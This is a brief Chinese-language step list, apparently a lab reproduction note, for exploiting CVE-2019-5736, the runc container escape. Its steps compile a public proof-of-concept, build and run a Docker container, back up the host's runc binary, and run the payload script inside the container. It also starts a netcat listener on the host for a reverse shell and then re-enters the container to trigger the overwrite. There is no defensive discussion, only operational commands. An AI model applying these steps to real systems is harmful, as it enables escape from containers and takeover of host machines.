- (1). 编译 stage2.c 并准备攻击载荷文件
- (2). 编写 DockerFile 并执行 docker build -t cve .
- (3). docker run -d -t --name cvetest cve
- (4). 备份当前的 runc 二进制文件,执行 cp /usr/bin/docker-runc /usr/bin/docker-runc.bak
- (5). 执行 docker exec -it cve /bin/bash 进入容器。
- (6). 在 docker run 中执行 cd /root && ./run.sh && exit
- (7). 在主机上监听 nc -nlvvp 4455
- (8). 再次连接容器,执行 docker exec -it cve /bin/bash
参考: https://github.com/agppp/cve-2019-5736-poc
以上